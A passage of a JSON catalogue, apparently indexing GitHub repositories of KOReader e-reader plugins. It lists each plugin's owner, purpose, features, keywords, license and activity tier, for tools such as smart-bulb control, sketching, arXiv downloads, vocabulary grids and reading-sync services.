lines"],"keywords":["koreader","koreader-kindle","koreader-plugin","metadata","about","library","personal","site","cool-koreader-plugin","development","prod","kindle","bookgettr","following","have","token","plug","find","storage","lsblk","mount","onto","machine","mnt"],"topics":["koreader","koreader-kindle","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-26T19:11:16Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1221,"detail":"detail/taheralfayad__cool-koreader-plugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Tasty-Murder/wizlight.koplugin","owner":"Tasty-Murder","repo":"wizlight.koplugin","url":"https://github.com/Tasty-Murder/wizlight.koplugin","description":"","purpose":"Control WiZ smart bulbs directly from KOReader on Kindle. Adjust brightness, color temperature, and lighting scenes without leaving your book.","categories":["misc"],"features":["Toggle your light on or off from the menu or a custom gesture","Reading Mode — one tap to warm white (3000 K, 70% brightness)","Brightness control (10–100%)","Color temperature control (2200–6500 K)","Effect speed control for animated scenes (10–200)","11 curated scenes split into two types","*Static* (solid colour): Warm White, Daylight, Cool White, Night Light, Focus","*Dynamic* (animated): Cozy, Relax, Candlelight, Fireplace, Wake Up, Bedtime","Per-scene customisation — save preferred brightness, colour temperature, or speed","Named multi-bulb registry — save bulbs by room name and switch between them"],"keywords":["wizlight","platform","prerequisites","adding","first","bulb","scenes","gesture","setup","optional","troubleshooting","acknowledgements","light","bulbs","lights","kindle","tools","brightness","settings","address","control","discovery","manage","more"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-30T13:33:38Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":6145,"detail":"detail/Tasty-Murder__wizlight.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"thekimberleyann/tp1_pageturner.koplugin","owner":"thekimberleyann","repo":"tp1_pageturner.koplugin","url":"https://github.com/thekimberleyann/tp1_pageturner.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-05T21:28:02Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"tianlang1997/bookshelfex.koplugin","owner":"tianlang1997","repo":"bookshelfex.koplugin","url":"https://github.com/tianlang1997/bookshelfex.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T03:56:43Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"timonbldw/readerheader.koplugin","owner":"timonbldw","repo":"readerheader.koplugin","url":"https://github.com/timonbldw/readerheader.koplugin","description":"Reader Header adds a configurable top status bar header to KOReader's reader view. It draws book metadata and reading status at the top of reflowable documents, and adds its options to KOReader's built-in status bar settings.","purpose":"Reader Header adds a configurable header to KOReader's reader view. It draws book metadata and reading status at the top of reflowable documents, such as EPUB books, and adds its options to KOReader's built-in status bar settings.","categories":["ui","library","notes"],"features":["Shows a header only for reflowable documents","Skips off-screen renders, such as page browser and book map thumbnails","Provides left, center, and right slots","Lets you reorder slot items with KOReader's sort widget","Adds an option for KOReader-style Wi-Fi status icons to the header","Truncates long values before they can overlap items to their right","Lets you configure separators, font size, default bold text, per-item bold","Integrates into Settings > Status bar > Header, directly below","Start or restart KOReader","Open Plugin management and ensure Reader Header is enabled"],"keywords":["koreader-plugin","header","adds","configurable","top","status","bar","view","draws","book","metadata","reading","reflowable","documents","options","built-in","settings","configure","slots","defaults","acknowledgements","notes","item","items"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-03T08:57:32Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":5497,"detail":"detail/timonbldw__readerheader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"titandrive/momentsofzen.koplugin","owner":"titandrive","repo":"momentsofzen.koplugin","url":"https://github.com/titandrive/momentsofzen.koplugin","description":"","purpose":"Moments of Zen is a KOReader plugin that adds a quote widget to the Zen UI Home page. The widget can show: Quotes are drawn from persistent shuffled decks: every quote in a source is shown before that source reshuffles, and the sequence survives restarts.","categories":["sync","ui"],"features":["Zen UI's built-in quotes","Quotes from a custom Lua file","Highlights from your KOReader annotations","Any combination of those sources","Swipe left: next quote","Swipe right: previous quote from the current session","Tap an annotation quote: open its book at the highlighted location","Hold in Home edit mode: open widget settings","text: quote text","author: author (optional)"],"keywords":["koreader","koreader-plugin","koreader-plugins","koplugin","moments","zen","deprecated","controls","custom","quotes","annotation","quote","file","widget","author","example","home","title","annotations","attribution","automatic","book","built-in","cache"],"topics":["koreader","koreader-plugin","koreader-plugins","koplugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-31T15:55:57Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2562,"detail":"detail/titandrive__momentsofzen.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"TMotDev/sketchPlugin","owner":"TMotDev","repo":"sketchPlugin","url":"https://github.com/TMotDev/sketchPlugin","description":"Sketch plugin for koreader","purpose":"Freehand EMR pen drawing on book pages for KOReader on Android e-ink devices. Written for — and only tested on — an Onyx Boox Go 10.3.","categories":["ai","device"],"features":["Out of sketch mode: the plugin does nothing, KOReader behaves normally","In sketch mode: all single-contact input on the page is ink (pen or","Pen input is captured at the input-frame level (below KOReader's","Multi-finger gestures are effectively unavailable while sketching (an","Open a book → menu → Tools (wrench icon, page 2) → Sketch","Assign the toggle to a gesture: menu → Settings → Taps and gestures →","On Onyx/Boox devices, set a fast per-app refresh mode for KOReader","Enter sketch mode (gesture or Tools → Sketch → Enter sketch mode)","Draw with the pen. The tool island at the bottom","Pen/Eraser — toggles tool. The eraser deletes whole strokes it"],"keywords":["boox","claude","eink","koreader","koreader-plugin","sketch","videos","does","limitations","known","issues","acknowledgements","architecture","main","lua","1500","lines","mode","input","island","page","stroke","strokes","flush"],"topics":["boox","claude","eink","koreader","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-03T19:00:21Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":10987,"detail":"detail/TMotDev__sketchPlugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tofe98/arxiv.koplugin","owner":"tofe98","repo":"arxiv.koplugin","url":"https://github.com/tofe98/arxiv.koplugin","description":"A plugin for downloading arxiv papers directly from koreader converting to epub if possible","purpose":"A KOReader plugin that searches arXiv, downloads papers, and turns them into reflowable EPUBs — built from arXiv's HTML rendition, not from the PDF. Equations come out as real typeset mathematics, not as pictures of mathematics.","categories":["files"],"features":["From GUST e-foundry","Direct file"],"keywords":["downloading","arxiv","papers","directly","converting","epub","possible","installing","getting","files","onto","kindle","math","font","works","three-second","rule","html","pipeline","two","scaffolds","bug","hit","failed"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T15:00:14Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":19648,"detail":"detail/tofe98__arxiv.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tphLatte/tadoku.koplugin","owner":"tphLatte","repo":"tadoku.koplugin","url":"https://github.com/tphLatte/tadoku.koplugin","description":"Automagically log to tadoku","purpose":"","categories":["misc"],"features":[],"keywords":["automagically","log","tadoku"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-07T00:32:29Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"trigon1998/wordwise.koplugin-custom","owner":"trigon1998","repo":"wordwise.koplugin-custom","url":"https://github.com/trigon1998/wordwise.koplugin-custom","description":"Plugin Word Wise Anh–Việt cho KOReader — giải nghĩa ngay trên trang, nhận diện cụm từ, lưu từ đã biết và cập nhật OTA an toàn.","purpose":"Hiển thị giải nghĩa Anh–Việt ngay phía trên những từ và cụm từ khó khi bạn đọc sách bằng KOReader. Word Wise là plugin dành cho người đọc sách tiếng Anh bằng KOReader. Plugin chỉ quét trang đang hiển thị, tìm những từ hoặc cụm từ khó phù hợp rồi đặt giải nghĩa ngắn ngay phía trên văn bản. Đường ngang và dấu mũi nhọn…","categories":["ui","dict"],"features":["tài liệu có thể dàn lại trang bằng CREngine của KOReader, chẳng hạn EPUB và HTML","thiết bị đọc sách chạy Android","được kiểm tra chủ yếu với KOReader 2026.03 “Snowflake” trên iReader Ocean 5 Pro","ZIP plugin","ZIP cơ sở dữ liệu","SHA-256","manifest","tính toàn vẹn SQLite","sự khớp phiên bản giữa plugin và database","Mở trang Releases"],"keywords":["english-learning","epub","ereader","ireader","koreader","lua","vietnamese","wordwise","word","wise","anh","cho","ngh","ngay","trang","ota","ang","dung","hint","xem","font","kho","thi","tra"],"topics":["english-learning","epub","ereader","ireader","koreader","lua","vietnamese","wordwise"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-17T03:15:18Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":13788,"detail":"detail/trigon1998__wordwise.koplugin-custom.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"trunghaiy/bookstreak.koplugin","owner":"trunghaiy","repo":"bookstreak.koplugin","url":"https://github.com/trunghaiy/bookstreak.koplugin","description":"Sync your KOReader' ebook, reading progresses and notes to BookStreak","purpose":"Sync your KOReader reading sessions, highlights, and notes to BookStreak automatically. Your e-reader's reading data appears on your phone without manual file transfer.","categories":["sync","notes"],"features":["BookStreak account (free)","KOReader on any supported device","In the BookStreak app, go to Settings > KOReader Sync to find your username and password","In KOReader, open the hamburger menu (top bar) > BookStreak Sync > enter your Username and Password","That's it! Every time you close a book, your reading data syncs to BookStreak","Reading sessions with real timestamps and durations","Page-level reading data (which pages, how long per page)","Highlights and notes (from KOReader's annotation system)","Book metadata (title, author, page count, series)","Automatic sync when you close a book (configurable)"],"keywords":["koreader-plugin","sync","ebook","reading","progresses","notes","bookstreak","requirements","setup","syncs","works","privacy","data","account","book","device","never","only","sessions","adds","close","database","e-reader","highlights"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-02T19:33:47Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2166,"detail":"detail/trunghaiy__bookstreak.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"unitreign/vocabgrid.koplugin","owner":"unitreign","repo":"vocabgrid.koplugin","url":"https://github.com/unitreign/vocabgrid.koplugin","description":"Displays Vocabulary Builder words in a configurable grid view, with tap-to-lookup and quick word removal.","purpose":"A grid view for KOReader's built-in Vocabulary Builder. Shows your saved words in a configurable rows × columns grid instead of a list. Tap a word to open the normal dictionary lookup, with a button to remove it.","categories":["dict","notes"],"features":["Configurable grid layout (rows/columns), saved as your default","Tap a word → opens KOReader's normal dictionary popup, with a \"Remove vocabulary\" button","Search your current vocabulary list","Look up and add new words straight from the grid","Pagination for large vocab lists","Enable it: ☰ → More tools → Plugin management → Vocabulary grid","Open it from the main menu: Vocabulary grid","KOReader with the Vocabulary Builder plugin enabled (this reads its existing database, doesn't replace it)"],"keywords":["displays","vocabulary","builder","words","configurable","grid","view","tap-to-lookup","quick","word","removal","vocabgrid","requirements","notes","remove","button","columns","database","dictionary","folder","list","normal","open","reads"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-19T17:52:55Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1156,"detail":"detail/unitreign__vocabgrid.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"usag1r/penscribe.koplugin","owner":"usag1r","repo":"penscribe.koplugin","url":"https://github.com/usag1r/penscribe.koplugin","description":"","purpose":"Version 1.0.0 Annotate documents with your stylus. Freehand drawing, highlighting, and erasing. Developer: Umut Sagir https://github.com/usag1r","categories":["ui"],"features":["^ / v Collapse or expand the stack","Pen Round ink. Fast (A2) on Scribe while the nib is down","✒ Nib Fountain Pen. Width follows stroke heading","HL Highlighter. Picking it runs a full-page flash so leftover pen ink does not hitch. Live stroke is light gray; translucency…","Era Erase ink with the tip. Flip the pen for the physical eraser end (that is not this cell)","↺ Undo last stroke","☼ Full-page refresh. Same flash as picking HL. Use it when ghosts linger","☰ Popup for notes and clearing (below)","Move the rail to the other edge","New Note Empty Markdown file in the notes folder, then opens it"],"keywords":["penscribe","disclaimer","vertical","rail","popup","menu","tools","scribe","improvements","waveforms","input","geometric","technical","explanations","fountain","pen","math","eraser","performance","highlighter","reinvented","palm","touch","prevention"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T19:49:17Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8215,"detail":"detail/usag1r__penscribe.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"valentderah/sleepscreenwidgets.koplugin","owner":"valentderah","repo":"sleepscreenwidgets.koplugin","url":"https://github.com/valentderah/sleepscreenwidgets.koplugin","description":"A KOReader plugin that enhances the standard sleep screen with a customisable grid of widgets.","purpose":"A KOReader plugin that enhances the standard sleep screen with a customisable grid of iOS-style widgets. If any of this is not set up, KOReader will show the usual sleep message instead of the grid.","categories":["ui","device"],"features":["Date & time — Shows the current date and time; the date is frozen at the moment the device goes to sleep","Clock — Digital or analog dial","Battery — Card with battery charge level","Current book — Title, author, progress, and estimated reading time remaining","Random quote — A random saved quote from the current book","Calendar — Month grid or today-only day view","Enable Settings → Screen → Sleep screen → Sleep screen message → Add custom message to sleep screen","Open Container and position and choose Banner, not Box","Free placement and width — You can choose both the row and how wide each widget is","Light and dark themes — Many widgets include Card theme: Light or Dark, so cards stay readable on different sleep-screen…"],"keywords":["koreader","koreader-plugin","sleep-screen","widgets","e-reader","lua","enhances","standard","sleep","screen","customisable","grid","sleepscreen","widget","types","configuring","available","options","current","date","message","time","battery","book"],"topics":["koreader","koreader-plugin","sleep-screen","widgets","e-reader","lua"],"stars":0,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-05-17T11:40:50Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":1880,"detail":"detail/valentderah__sleepscreenwidgets.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"WojtekHenszke/CloudflareAccess.koplugin","owner":"WojtekHenszke","repo":"CloudflareAccess.koplugin","url":"https://github.com/WojtekHenszke/CloudflareAccess.koplugin","description":"","purpose":"A KOReader plugin that injects Cloudflare Access service-token headers (`CF-Access-Client-Id`, `CF-Access-Client-Secret`) and user-defined custom HTTP headers into outgoing HTTP/HTTPS requests, with a configurable hostname allowlist and an in-app log viewer for troubleshooting.","categories":["web","files","notes"],"features":["Android (incl. Onyx Boox): /sdcard/koreader/plugins/ (or wherever KOReader was installed)","Kobo: .adds/koreader/plugins/ (note .adds is hidden — enable show hidden files on your computer)","Kindle: koreader/plugins/ within whichever extension root KOReader was installed to","Desktop emulator: koreader/plugins/ next to the emulator binary","Enable/disable the plugin","Set Client ID and Client Secret — paste your Cloudflare Access service-token credentials","Manage allowed domains — add or remove hostnames that should receive the headers","Custom header rules — define arbitrary HTTP headers (e.g. Authorization, X-Api-Key) with per-rule domain scoping and secret…","Set the log level — Off / Warn / Info / Debug","View logs — inspect recent plugin activity in-app"],"keywords":["cloudflare","access","does","configuration","operating","modes","custom","header","rules","injection","order","cases","security","notes","troubleshooting","common","log","lines","their","meanings","http","status","patterns","finding"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-21T15:14:07Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9241,"detail":"detail/WojtekHenszke__CloudflareAccess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"xdHampus/ereolen.koplugin","owner":"xdHampus","repo":"ereolen.koplugin","url":"https://github.com/xdHampus/ereolen.koplugin","description":"KOReader plugin for interacting with eReolen.dk","purpose":"KOReader plugin for interacting with eReolen.dk","categories":["misc"],"features":[],"keywords":["interacting","ereolen"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T23:26:24Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":89,"detail":"detail/xdHampus__ereolen.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"yanyan-alien/acsm.koplugin","owner":"yanyan-alien","repo":"acsm.koplugin","url":"https://github.com/yanyan-alien/acsm.koplugin","description":"just acsm in koreader integration","purpose":"Too lazy to convert and too into cross compiling c++ code in armel/armhf. Here goes :) Plugin basically puts libgourou into kindle then when user transfers it via some plugin (currently using file browser plus) into `/acsm`, the shell script will then move it over to my home folder `/books`","categories":["device","notes"],"features":["git clone respository","move the folder to /mnt/us/koreader/plugins directory","create folders /acsm, /books and /plugins/acsm.koplugin/adept_data","then move the binaries created during compiling libgourou binaries","I would also have to modify libgourou's makefile for LD flags and CXX flags","image's glibc version > kindle's glibc","switch from arm32v5/debian:latest to arm32v5/debian:jessie. arm32v5/debian:wheezy was too old and would require modification to…","some of the deps dont play well with older cmake version (thus had to make install cmake ourselves)","thinking uname -a gives arm7l means I should be using armv7 docker image","using dockercross images which turn out to be more difficult since the container architecture was actually x86-64 and not arm"],"keywords":["kindle","koreader","koreader-plugin","libby","just","acsm","integration","de-acsm","setup","libgourou","notes","credits","arm32v5","armhf","books","code","debian","download","have","move","since","some","would","able"],"topics":["kindle","koreader","koreader-plugin","libby"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-26T12:40:21Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2920,"detail":"detail/yanyan-alien__acsm.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Yiori/simpleui.koplugin","owner":"Yiori","repo":"simpleui.koplugin","url":"https://github.com/Yiori/simpleui.koplugin","description":"Copy of simpleui.koplugin v1.5.0 but highly modified for personal needs","purpose":"","categories":["misc"],"features":[],"keywords":["copy","simpleui","but","highly","modified","personal","needs"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-10T00:38:09Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"yupmoon/timesyncplus.koplugin","owner":"yupmoon","repo":"timesyncplus.koplugin","url":"https://github.com/yupmoon/timesyncplus.koplugin","description":"A KOReader plugin that keeps the Kindle clock aligned to a selected timezone.","purpose":"A KOReader plugin that keeps the Kindle clock aligned to a selected timezone. The plugin does not trust the Kindle's existing system time. It fetches the current wall-clock time for the selected IANA timezone from `timeapi.io`, writes that displayed time to the device, and syncs again automatically after startup and…","categories":["sync","ui","files"],"features":["Syncs automatically shortly after KOReader starts","Syncs automatically after resume when Wi-Fi is available","Lets the user select a timezone once from the KOReader Tools menu","Saves the selected timezone in KOReader's settings directory","Syncs immediately after a timezone is selected","Provides a manual Synchronize now command","Verifies the system clock after setting it before reporting success","Atlantic/Canary","Europe/London","Europe/Madrid"],"keywords":["koreader-plugin","keeps","kindle","clock","aligned","selected","timezone","time","sync","plus","behavior","works","differently","files","requirements","after","syncs","system","automatically","once","resume","visible","wall-clock","america"],"topics":["koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-16T15:46:42Z","license":"Apache-2.0","default_branch":"main","has_meta":true,"readme_bytes":2608,"detail":"detail/yupmoon__timesyncplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zeeyado/quran.koplugin","owner":"zeeyado","repo":"quran.koplugin","url":"https://github.com/zeeyado/quran.koplugin","description":"Quran companion plugin for KOReader (early beta)","purpose":"A Quran companion plugin for KOReader, built around the Quran EPUB library from the quran-ebook project. navigation, search, and reading-position restore. tafsir, word-by-word grammar, and cross-references. entry for the exact word at the current ayah position. connections, and phrase-occurrence views (QUL data…","categories":["misc"],"features":["Explorer: a Quran library browser with surahs, juz', and per-ayah","Ayah card & quick panel: tap an ayah marker for the translation,","Tafsir reader with multi-edition switching","Word dictionary filtering: dictionary popups automatically show the","Grammar, surah-overview, and tafsir lookups from StarDict packages","Roots browser (Lane's Lexicon), similar-ayah and thematic","Juz'/hizb-aware header and footer, Hafs/Warsh-aware ayah numbering","Library & assets: in-app downloads for books, dictionaries, and","Rename the unzipped folder to exactly quran.koplugin (strip any","Get books and companion assets from Library & assets (in the Quran"],"keywords":["quran","companion","early","beta","does","testers","feedback","development","data","library","packages","quran-ebook","repo","ayah","folder","assets","dictionaries","status","tafsir","asset","books","browser","desktop","device"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T18:27:20Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3533,"detail":"detail/zeeyado__quran.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ZHA30/qireader.koplugin","owner":"ZHA30","repo":"qireader.koplugin","url":"https://github.com/ZHA30/qireader.koplugin","description":"Read your QiReader subscriptions from KOReader with synced article lists, article detail reading, read-state updates, read-later actions, tags, and full-text fetching.","purpose":"Read your QiReader subscriptions from KOReader with synced article lists, article detail reading, read-state updates, read-later actions, tags, and full-text fetching.","categories":["web","notes"],"features":["Opens your QiReader subscriptions inside KOReader","Reads article summaries, article detail pages, and fetched full text","Syncs read / unread state, read-later state, and tags","Reopens cached content faster","Place the plugin directory under KOReader's plugins/ directory","File browser: Search -> QiReader","Log in with your QiReader account from the plugin settings menu","Open a subscription or tag to enter the article list","Tap an article title to open the article detail page","Use article actions for read state, read later, tags, and full text"],"keywords":["koplugin","koreader","koreader-plugin","read","qireader","subscriptions","synced","article","lists","detail","reading","read-state","updates","read-later","actions","tags","full-text","fetching","does","access","basic","limits","notes","credits"],"topics":["koplugin","koreader","koreader-plugin"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-12T08:47:27Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3880,"detail":"detail/ZHA30__qireader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Zucker-jex/testsyn.koplugin","owner":"Zucker-jex","repo":"testsyn.koplugin","url":"https://github.com/Zucker-jex/testsyn.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-23T12:21:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]}],"patches_url":"patches.json"}